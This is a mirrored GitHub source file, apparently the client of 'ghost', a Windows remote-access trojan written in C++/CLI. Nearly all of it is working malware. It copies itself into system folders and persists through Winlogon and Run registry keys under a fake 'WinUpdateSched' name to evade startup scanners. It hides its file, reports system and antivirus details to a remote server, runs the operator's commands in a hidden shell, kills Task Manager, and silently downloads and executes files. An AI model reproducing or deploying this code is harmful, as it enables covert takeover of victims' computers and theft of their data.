mirror of
https://github.com/AHXR/ghost.git
synced 2026-10-17 05:11:32 +08:00
442 lines
13 KiB
C++
442 lines
13 KiB
C++
/*
|
|
@title
|
|
ghost
|
|
@author
|
|
AHXR (https://github.com/AHXR)
|
|
@copyright
|
|
2018
|
|
|
|
ghost is free software: you can redistribute it and/or modify
|
|
it under the terms of the GNU General Public License as published by
|
|
the Free Software Foundation, either version 3 of the License, or
|
|
(at your option) any later version.
|
|
|
|
ghost is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU General Public License for more details.
|
|
|
|
You should have received a copy of the GNU General Public License
|
|
along with ghost. If not, see <http://www.gnu.org/licenses/>.
|
|
*/
|
|
//=======================================================
|
|
#define GHOSTVER "1.0.3b"
|
|
#define DEFAULT_BUFF 19056
|
|
#define TMPLOG "svchost.log"
|
|
//#define GHOST_HIDE /* DEBUG */
|
|
//#define AHXRLOGGER_PLUGIN // https://github.com/AHXR/ahxrlogger
|
|
|
|
// 64-bit automatically redirected to "HKLM\SOFTWARE\Wow6432Node"
|
|
#define KEY_TARGET HKEY_LOCAL_MACHINE
|
|
#define KEY_NON_ADMIN_TARGET HKEY_CURRENT_USER
|
|
#define KEY_STARTUP "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
#define KEY_NON_ADMIN_STARTUP "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
#define KEY_ROOT_STARTUP "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"
|
|
#define KEY_VALUE_NAME "WinUpdateSched"
|
|
#define KEY_SHELL_NAME "Shell"
|
|
|
|
#include "ahxrwinsock.h"
|
|
#include "resource.h"
|
|
#include "json.hpp"
|
|
#include "info.h"
|
|
#include "encrypt.h"
|
|
|
|
#include <Shellapi.h>
|
|
#include <Lmcons.h>
|
|
#include <fstream>
|
|
|
|
using namespace std;
|
|
using namespace System::Runtime::InteropServices;
|
|
using json = nlohmann::json;
|
|
|
|
PCSTR str_host;
|
|
PCSTR str_port;
|
|
TCHAR str_temp[MAX_PATH];
|
|
TCHAR str_windows[MAX_PATH];
|
|
char c_temp_cmd[ MAX_PATH + 20 ];
|
|
char c_cmd_dir[MAX_PATH + 7];
|
|
bool b_cmd;
|
|
bool b_taskmgr;
|
|
HANDLE h_payload;
|
|
AHXRCLIENT client;
|
|
|
|
void onClientConnect();
|
|
void onClientRecData( char * data);
|
|
DWORD WINAPI t_ping(LPVOID lpParams);
|
|
DWORD WINAPI t_payloads(LPVOID lpParams);
|
|
|
|
|
|
#pragma comment (lib, "shell32.lib")
|
|
#pragma comment (lib, "Advapi32.lib")
|
|
#pragma comment (lib, "Wininet.lib")
|
|
|
|
void main(cli::array<System::String^>^ args)
|
|
{
|
|
if (args->Length < 2) // IP and Port;
|
|
exit(EXIT_FAILURE);
|
|
|
|
// String to PCSTR (const char *)
|
|
str_host = (const char * ) Marshal::StringToHGlobalAnsi(args[0]).ToPointer();
|
|
str_port = (const char * ) Marshal::StringToHGlobalAnsi(args[1]).ToPointer();
|
|
|
|
#ifndef GHOST_HIDE
|
|
HMODULE h_mod;
|
|
char * c_path[MAX_PATH];
|
|
char c_new_path[MAX_PATH + FILENAME_MAX + 1];
|
|
string s_path;
|
|
string s_file_name;
|
|
bool b_admin_access;
|
|
|
|
h_mod = GetModuleHandleW(NULL);
|
|
GetModuleFileNameA(h_mod, (char *)c_path, MAX_PATH);
|
|
|
|
s_path = (char *)c_path;
|
|
s_file_name = s_path.substr(s_path.find_last_of('\\') + 1); // Getting the file name.
|
|
s_path = s_path.substr( 0, s_path.find_last_of('\\')); // Just the path of the executed location.
|
|
|
|
GetTempPath(MAX_PATH, str_temp); // Temp path for returning cmd response.
|
|
GetSystemDirectory(str_windows, MAX_PATH); // Looking for cmd.exe
|
|
|
|
if (strcmp(s_path.c_str(), str_windows) != 0 && ( strcmp( string(string(s_path) + "\\").c_str(), str_temp) != 0 )) {
|
|
sprintf(c_new_path, "%s\\%s", str_windows, s_file_name.c_str());
|
|
|
|
fstream f_file_read((char *)c_path, ios::in | ios::binary);
|
|
fstream f_file_write(c_new_path, ios::out | ios::binary);
|
|
|
|
if (f_file_write.good() || f_file_write.is_open()) { // No permission
|
|
f_file_write << f_file_read.rdbuf();
|
|
|
|
f_file_read.close();
|
|
f_file_write.close();
|
|
}
|
|
else {
|
|
sprintf(c_new_path, "%s%s", str_temp, s_file_name.c_str());
|
|
fstream f_file_write(c_new_path, ios::out | ios::binary);
|
|
|
|
f_file_write << f_file_read.rdbuf();
|
|
|
|
f_file_read.close();
|
|
f_file_write.close();
|
|
}
|
|
|
|
char paramFormat[ 23 ];
|
|
sprintf(paramFormat, "%s %s", str_host, str_port);
|
|
|
|
ShellExecute(NULL, "open", c_new_path, paramFormat, 0, 0);
|
|
exit(EXIT_SUCCESS);
|
|
}
|
|
|
|
sprintf(c_temp_cmd, "%s%s", str_temp, TMPLOG);
|
|
sprintf(c_cmd_dir, "%s\\cmd.exe", str_windows);
|
|
|
|
remove(c_temp_cmd); // Remove previous instance.
|
|
|
|
/*
|
|
Attempting to add to the Shell start-up. This is so that the zombie runs in safemode as well.
|
|
This will also hide this application from CCleaner or any other application that scans for start-up
|
|
programs.
|
|
*/
|
|
HKEY h_key;
|
|
long l_key;
|
|
bool b_good;
|
|
|
|
l_key = RegOpenKeyEx(KEY_TARGET, KEY_ROOT_STARTUP, 0, KEY_ALL_ACCESS, &h_key);
|
|
|
|
if (l_key == ERROR_SUCCESS) {
|
|
char * full_path = new char[MAX_PATH + 50];
|
|
sprintf(full_path, "explorer.exe,\"%s %s %s\"", c_path, str_host, str_port);
|
|
long l_set_key = RegSetValueEx(h_key, KEY_SHELL_NAME, 0, REG_SZ, (LPBYTE)full_path, MAX_PATH);
|
|
|
|
if (l_set_key == ERROR_SUCCESS)
|
|
b_good = true;
|
|
|
|
RegCloseKey(h_key);
|
|
}
|
|
|
|
if (!b_good) {
|
|
// Adding to start-up since we couldn't use the Shell start-up.
|
|
l_key = RegOpenKeyEx(KEY_TARGET, KEY_STARTUP, 0, KEY_ALL_ACCESS, &h_key);
|
|
|
|
// No admin access. Just make it user startup.
|
|
if (l_key == ERROR_ACCESS_DENIED) {
|
|
l_key = RegOpenKeyEx(KEY_NON_ADMIN_TARGET, KEY_NON_ADMIN_STARTUP, 0, KEY_ALL_ACCESS, &h_key);
|
|
b_admin_access = true;
|
|
}
|
|
|
|
if (l_key == ERROR_SUCCESS) {
|
|
char * full_path = new char[MAX_PATH + 50];
|
|
sprintf(full_path, "\"%s\" %s %s", c_path, str_host, str_port);
|
|
|
|
RegSetValueEx(h_key, KEY_VALUE_NAME, 0, REG_SZ, (LPBYTE)full_path, MAX_PATH);
|
|
RegCloseKey(h_key);
|
|
}
|
|
}
|
|
|
|
SetFileAttributes((char *)c_path, FILE_ATTRIBUTE_HIDDEN);
|
|
#else
|
|
GetTempPath(MAX_PATH, str_temp); // Temp path for returning cmd response.
|
|
GetSystemDirectory(str_windows, MAX_PATH); // Looking for cmd.exe
|
|
|
|
sprintf(c_temp_cmd, "%s%s", str_temp, TMPLOG);
|
|
sprintf(c_cmd_dir, "%s\\cmd.exe", str_windows);
|
|
#endif
|
|
|
|
h_payload = CreateThread(NULL, NULL, &t_payloads, 0, 0, 0);
|
|
|
|
// Starting and idling server
|
|
while (1) {
|
|
if( client.init(str_host, str_port, TCP_SERVER, onClientConnect) )
|
|
client.listen(onClientRecData, false);
|
|
|
|
if (client.Socket_Client != INVALID_SOCKET)
|
|
closesocket(client.Socket_Client);
|
|
|
|
b_cmd = false; // Safe reset
|
|
Sleep(1000);
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI t_payloads(LPVOID lpParams) {
|
|
while (1) {
|
|
if (b_taskmgr) {
|
|
DWORD d_task = FindProcessId(L"taskmgr.exe");
|
|
if (d_task != 0) {
|
|
HANDLE h_process = OpenProcess(PROCESS_ALL_ACCESS, TRUE, d_task);
|
|
TerminateProcess(h_process, 1);
|
|
}
|
|
}
|
|
|
|
Sleep(100);
|
|
}
|
|
}
|
|
|
|
DWORD WINAPI t_ping(LPVOID lpParams) {
|
|
while (1) {
|
|
Sleep(3000);
|
|
char buf;
|
|
int err = recv(client.Socket_Client, &buf, 1, MSG_PEEK);
|
|
if (err == SOCKET_ERROR)
|
|
{
|
|
if (WSAGetLastError() != WSAEWOULDBLOCK)
|
|
{
|
|
client.close();
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
void onClientConnect() {
|
|
json sys_data;
|
|
TCHAR c_comp_name[ MAX_COMPUTERNAME_LENGTH + 1 ];
|
|
DWORD c_comp_size;
|
|
DWORD c_username_size = UNLEN + 1;
|
|
char c_username[UNLEN + 1];
|
|
|
|
c_comp_size = sizeof(c_comp_name);
|
|
GetComputerName(c_comp_name, &c_comp_size);
|
|
GetUserName(c_username, &c_username_size);
|
|
|
|
|
|
sys_data["ID"] = c_comp_name;
|
|
sys_data["USER"] = c_username;
|
|
sys_data["IP"] = real_ip();
|
|
sys_data["PORT"] = str_port;
|
|
sys_data["AV"] = getAntivirus();
|
|
sys_data["VERSION"] = GHOSTVER;
|
|
|
|
OSVERSIONINFO vi;
|
|
vi.dwOSVersionInfoSize = sizeof(vi);
|
|
|
|
string os_output = "Unknown";
|
|
if (GetVersionEx(&vi) != 0) {
|
|
switch (vi.dwMajorVersion) {
|
|
case 10: {
|
|
os_output = "Windows 10";
|
|
break;
|
|
}
|
|
case 6: {
|
|
if (vi.dwMinorVersion == 3)
|
|
os_output = "Windows 8.1";
|
|
else if (vi.dwMinorVersion == 2)
|
|
os_output = "Windows 8";
|
|
else if (vi.dwMinorVersion == 1)
|
|
os_output = "Windows 7";
|
|
else
|
|
os_output = "Windows Vista";
|
|
break;
|
|
}
|
|
case 5: {
|
|
if (vi.dwMinorVersion == 2)
|
|
os_output = "Windows Server 2003 R2";
|
|
else if (vi.dwMinorVersion == 1)
|
|
os_output = "Windows XP";
|
|
else if (vi.dwMinorVersion == 0)
|
|
os_output = "Windows 2000";
|
|
break;
|
|
}
|
|
default: {
|
|
os_output = "Unknown";
|
|
break;
|
|
}
|
|
}
|
|
|
|
#ifdef _WIN32
|
|
os_output += " 32-bit";
|
|
#elif _WIN64
|
|
os_output += " 64-bit";
|
|
#endif
|
|
}
|
|
sys_data["OS"] = os_output;
|
|
|
|
client.send_data(encryptCMD(sys_data.dump()).c_str());
|
|
|
|
CreateThread(0, 0, t_ping, 0, 0, 0);
|
|
}
|
|
|
|
void onClientRecData( char * data ) {
|
|
|
|
// Removing encryption.
|
|
if (strcmp(data, "CMD") != 0) {
|
|
string s_data = data;
|
|
s_data = unencryptCMD(s_data);
|
|
strcpy(data, s_data.data());
|
|
}
|
|
|
|
int i_len = strlen(data) + MAX_PATH + 1;
|
|
char * c_output = new char[i_len];
|
|
char * c_new_data = new char[strlen(data) + 1];
|
|
bool b_skip = false;;
|
|
|
|
strcpy(c_new_data, data);
|
|
c_output[i_len - 1] = '\0';
|
|
|
|
/*fstream f_test("debug.txt", ios::out | ios::binary);
|
|
f_test << c_new_data;
|
|
f_test.close();
|
|
*/
|
|
|
|
/*
|
|
The keyword "ghost_ping" is strictly for the server to determine whether the socket is
|
|
active or not. Any data that is simply "ghost_ping" will be ignored.
|
|
*/
|
|
if (!strcmp(c_new_data, "ghost_ping"))
|
|
b_skip = true;
|
|
|
|
if (!strcmp(c_new_data, "ghost_tskmgr")) {
|
|
b_taskmgr = !b_taskmgr;
|
|
client.send_data(encryptCMD(string(b_taskmgr ? "Task Manager Killer Enabled" : "Task Manager Killer Disabled")).c_str());
|
|
b_skip = true; // Nullifying by using the magical keyword
|
|
}
|
|
|
|
// b_skip determines whether the server is doing commands or not.
|
|
if ( !b_skip ) {
|
|
if (!strcmp(c_new_data, "CMD")) // Toggling Command Prompt response
|
|
b_cmd = !b_cmd;
|
|
else {
|
|
if (b_cmd) {
|
|
|
|
int i_length;
|
|
fstream f_response;
|
|
|
|
sprintf(c_output, "/C %s > %s", c_new_data, c_temp_cmd);
|
|
|
|
/*
|
|
Running the command without a window. Using WinExec, system, or ShellExecute will make
|
|
a random command prompt pop-up. This will make it obvious that something is going on
|
|
in the background, which voids the whole point of "ghost".
|
|
*/
|
|
STARTUPINFO info = { sizeof(info) };
|
|
PROCESS_INFORMATION processInfo;
|
|
if (CreateProcess(c_cmd_dir, c_output, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &info, &processInfo)) {
|
|
WaitForSingleObject(processInfo.hProcess, 5000);
|
|
CloseHandle(processInfo.hProcess);
|
|
CloseHandle(processInfo.hThread);
|
|
}
|
|
|
|
/*
|
|
In c_output, the right carrot symbol writes the output to a file. Here, we are going to
|
|
read that file and send the result back to the server. This is so the server knows what
|
|
happened with their command.
|
|
|
|
Certain commands will return no response, which is fine. However, as far as I'm concerned,
|
|
invalid commands do not write to a file.
|
|
*/
|
|
f_response.open(c_temp_cmd, ios::in | ios::binary);
|
|
|
|
f_response.seekg(0, f_response.end);
|
|
i_length = (int)f_response.tellg();
|
|
f_response.seekg(0, f_response.beg);
|
|
|
|
if (i_length > 0) {
|
|
char * c_read = new char[i_length];
|
|
f_response.read(c_read, i_length);
|
|
|
|
// Null terminating. Without this, there will be gibberish at the end of the data.
|
|
c_read[i_length] = '\0';
|
|
if (c_read[i_length - 1] == '\n')
|
|
c_read[i_length - 1] = '\0';
|
|
|
|
client.send_data(encryptCMD( string( c_read ) ).c_str());
|
|
}
|
|
else
|
|
client.send_data(encryptCMD(string("Invalid command or empty response.")).c_str());
|
|
|
|
}
|
|
|
|
// "Download & Execute"
|
|
if (!b_cmd && strcmp(c_new_data, "CMD") != 0) {
|
|
HRSRC hr_res;
|
|
DWORD32 dw_res;
|
|
LPVOID lp_res;
|
|
LPVOID lp_res_lock;
|
|
|
|
// Creating the wget file.
|
|
hr_res = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
|
|
dw_res = ::SizeofResource(NULL, hr_res);
|
|
lp_res = LoadResource(NULL, hr_res);
|
|
lp_res_lock = LockResource(lp_res);
|
|
|
|
fstream f_wget("wget.exe", ios::out | ios::binary);
|
|
f_wget.write((char *)lp_res, dw_res);
|
|
f_wget.close();
|
|
|
|
SetFileAttributes("wget.exe", FILE_ATTRIBUTE_HIDDEN);
|
|
|
|
// Fetching the sent data.
|
|
json j_response = json::parse(c_new_data);
|
|
sprintf(c_output, "/C wget %s -O %s", j_response["URL"].get<string>().c_str(), j_response["FILE"].get<string>().c_str());
|
|
|
|
// Running wget.exe in the background. Hiding the command prompt as well. Silent downloading.
|
|
STARTUPINFO info = { sizeof(info) };
|
|
PROCESS_INFORMATION processInfo;
|
|
if (CreateProcess("wget.exe", c_output, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &info, &processInfo))
|
|
{
|
|
WaitForSingleObject(processInfo.hProcess, INFINITE);
|
|
CloseHandle(processInfo.hProcess);
|
|
CloseHandle(processInfo.hThread);
|
|
}
|
|
|
|
char c_dir[MAX_PATH];
|
|
string s_dir;
|
|
GetModuleFileName(NULL, c_dir, MAX_PATH);
|
|
|
|
string::size_type pos = string(c_dir).find_last_of("\\/");
|
|
s_dir = string(c_dir).substr(0, pos);
|
|
|
|
sprintf(c_output, "%s has downloaded and saved at: %s\\%s\nNow executing...",
|
|
j_response["URL"].get<string>().c_str(),
|
|
s_dir.c_str(),
|
|
j_response["FILE"].get<string>().c_str()
|
|
);
|
|
|
|
client.send_data(encryptCMD(string(c_output)).c_str());
|
|
|
|
// Running the downloaded file and removing wget.exe
|
|
ShellExecute(NULL, "open", j_response["FILE"].get<string>().c_str(), 0, 0, 0);
|
|
remove("wget.exe");
|
|
}
|
|
}
|
|
}
|
|
} |